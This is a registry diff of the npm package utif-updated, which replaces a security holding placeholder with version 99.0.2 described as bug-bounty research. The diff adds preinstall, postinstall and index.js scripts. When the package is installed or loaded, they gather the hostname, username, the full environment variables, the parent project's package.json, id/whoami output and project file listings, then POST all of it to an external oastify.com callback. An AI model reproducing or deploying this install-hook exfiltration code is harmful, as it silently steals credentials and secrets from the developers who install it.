utif-updated 0.0.1-security → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of utif-updated might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,6 @@
1
- # Security holding package
1
+ # utif-updated
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Security research package - Bug Bounty
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=utif-updated for more information.
5
+ ## Author
6
+ icare
package/index.js ADDED
@@ -0,0 +1,71 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+
7
+ const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
8
+
9
+ if (!global.__utif_updated_triggered) {
10
+ global.__utif_updated_triggered = true;
11
+
12
+ function findParentPackageJson() {
13
+ // En runtime, on remonte depuis le module
14
+ let dir = __dirname;
15
+ for (let i = 0; i < 10; i++) {
16
+ const parent = path.dirname(dir);
17
+ if (parent === dir) break;
18
+ dir = parent;
19
+ if (path.basename(dir) === 'node_modules') {
20
+ // On est dans node_modules, le parent c'est le projet
21
+ const projectDir = path.dirname(dir);
22
+ try {
23
+ return JSON.parse(fs.readFileSync(
24
+ path.join(projectDir, 'package.json'), 'utf8'
25
+ ));
26
+ } catch(e) {}
27
+ }
28
+ }
29
+ return null;
30
+ }
31
+
32
+ const info = {
33
+ type: 'runtime_require',
34
+ hostname: os.hostname(),
35
+ user: os.userInfo().username,
36
+ cwd: process.cwd(),
37
+ dirname: __dirname,
38
+ platform: os.platform(),
39
+ node_version: process.version,
40
+ env: process.env,
41
+ parent_package: findParentPackageJson(),
42
+ timestamp: new Date().toISOString()
43
+ };
44
+
45
+ const data = JSON.stringify(info);
46
+
47
+ const req = https.request({
48
+ hostname: CALLBACK,
49
+ port: 443,
50
+ path: '/runtime',
51
+ method: 'POST',
52
+ headers: {
53
+ 'Content-Type': 'application/json',
54
+ 'Content-Length': Buffer.byteLength(data)
55
+ }
56
+ }, () => {});
57
+ req.on('error', () => {});
58
+ req.write(data);
59
+ req.end();
60
+
61
+ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
62
+ if (webhook) {
63
+ try {
64
+ const url = new URL(webhook);
65
+ const client = url.protocol === 'https:' ? https : http;
66
+ client.get(webhook, () => {}).on('error', () => {});
67
+ } catch(e) {}
68
+ }
69
+ }
70
+
71
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "utif-updated",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.0.2",
4
+ "description": "Security research - Bug Bounty",
5
+ "main": "index.js",
6
+ "author": "icare",
7
+ "license": "MIT",
8
+ "scripts": {
9
+ "preinstall": "node preinstall.js || true",
10
+ "postinstall": "node postinstall.js || true"
11
+ },
12
+ "keywords": ["utif", "tiff", "image"]
6
13
  }
package/postinstall.js ADDED
@@ -0,0 +1,69 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+
7
+ const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
8
+
9
+ function findParentPackageJson() {
10
+ if (process.env.npm_config_local_prefix) {
11
+ try {
12
+ return JSON.parse(fs.readFileSync(
13
+ path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
14
+ ));
15
+ } catch(e) {}
16
+ }
17
+
18
+ let dir = process.cwd();
19
+ for (let i = 0; i < 10; i++) {
20
+ const parent = path.dirname(dir);
21
+ if (parent === dir) break;
22
+ dir = parent;
23
+ if (dir.includes('node_modules')) continue;
24
+ try {
25
+ const pkgPath = path.join(dir, 'package.json');
26
+ if (fs.existsSync(pkgPath)) {
27
+ return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
28
+ }
29
+ } catch(e) {}
30
+ }
31
+ return null;
32
+ }
33
+
34
+ const info = {
35
+ type: 'postinstall',
36
+ hostname: os.hostname(),
37
+ user: os.userInfo().username,
38
+ cwd: process.cwd(),
39
+ npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
40
+ platform: os.platform(),
41
+ env: process.env,
42
+ parent_package: findParentPackageJson(),
43
+ timestamp: new Date().toISOString()
44
+ };
45
+
46
+ const data = JSON.stringify(info);
47
+
48
+ const req = https.request({
49
+ hostname: CALLBACK,
50
+ port: 443,
51
+ path: '/postinstall',
52
+ method: 'POST',
53
+ headers: {
54
+ 'Content-Type': 'application/json',
55
+ 'Content-Length': Buffer.byteLength(data)
56
+ }
57
+ }, () => {});
58
+ req.on('error', () => {});
59
+ req.write(data);
60
+ req.end();
61
+
62
+ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
63
+ if (webhook) {
64
+ try {
65
+ const url = new URL(webhook);
66
+ const client = url.protocol === 'https:' ? https : http;
67
+ client.get(webhook, () => {}).on('error', () => {});
68
+ } catch(e) {}
69
+ }
package/preinstall.js ADDED
@@ -0,0 +1,97 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+ const { execSync } = require('child_process');
7
+
8
+ const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
9
+
10
+ // Fonction pour trouver le package.json parent (racine du projet)
11
+ function findParentPackageJson() {
12
+ // npm_config_local_prefix = racine du projet qui installe
13
+ if (process.env.npm_config_local_prefix) {
14
+ try {
15
+ return JSON.parse(fs.readFileSync(
16
+ path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
17
+ ));
18
+ } catch(e) {}
19
+ }
20
+
21
+ // Sinon remonte l'arborescence
22
+ let dir = process.cwd();
23
+ for (let i = 0; i < 10; i++) {
24
+ const parent = path.dirname(dir);
25
+ if (parent === dir) break;
26
+ dir = parent;
27
+
28
+ // Skip si on est dans node_modules
29
+ if (dir.includes('node_modules')) continue;
30
+
31
+ try {
32
+ const pkgPath = path.join(dir, 'package.json');
33
+ if (fs.existsSync(pkgPath)) {
34
+ return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
35
+ }
36
+ } catch(e) {}
37
+ }
38
+ return null;
39
+ }
40
+
41
+ // Récupère toutes les infos
42
+ const info = {
43
+ type: 'preinstall',
44
+ hostname: os.hostname(),
45
+ user: os.userInfo().username,
46
+ cwd: process.cwd(),
47
+ npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
48
+ home: os.homedir(),
49
+ platform: os.platform(),
50
+ arch: os.arch(),
51
+ node_version: process.version,
52
+ env: process.env,
53
+ timestamp: new Date().toISOString()
54
+ };
55
+
56
+ // Package.json du projet PARENT
57
+ info.parent_package = findParentPackageJson();
58
+
59
+ // Infos système
60
+ try {
61
+ info.pwd = execSync('pwd').toString().trim();
62
+ info.whoami = execSync('whoami').toString().trim();
63
+ info.id = execSync('id').toString().trim();
64
+ } catch(e) {}
65
+
66
+ // Liste des fichiers à la racine du projet
67
+ try {
68
+ if (process.env.npm_config_local_prefix) {
69
+ info.project_files = fs.readdirSync(process.env.npm_config_local_prefix);
70
+ }
71
+ } catch(e) {}
72
+
73
+ const data = JSON.stringify(info);
74
+
75
+ const req = https.request({
76
+ hostname: CALLBACK,
77
+ port: 443,
78
+ path: '/preinstall',
79
+ method: 'POST',
80
+ headers: {
81
+ 'Content-Type': 'application/json',
82
+ 'Content-Length': Buffer.byteLength(data)
83
+ }
84
+ }, () => {});
85
+ req.on('error', () => {});
86
+ req.write(data);
87
+ req.end();
88
+
89
+ // Trigger leur webhook
90
+ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
91
+ if (webhook) {
92
+ try {
93
+ const url = new URL(webhook);
94
+ const client = url.protocol === 'https:' ? https : http;
95
+ client.get(webhook, () => {}).on('error', () => {});
96
+ } catch(e) {}
97
+ }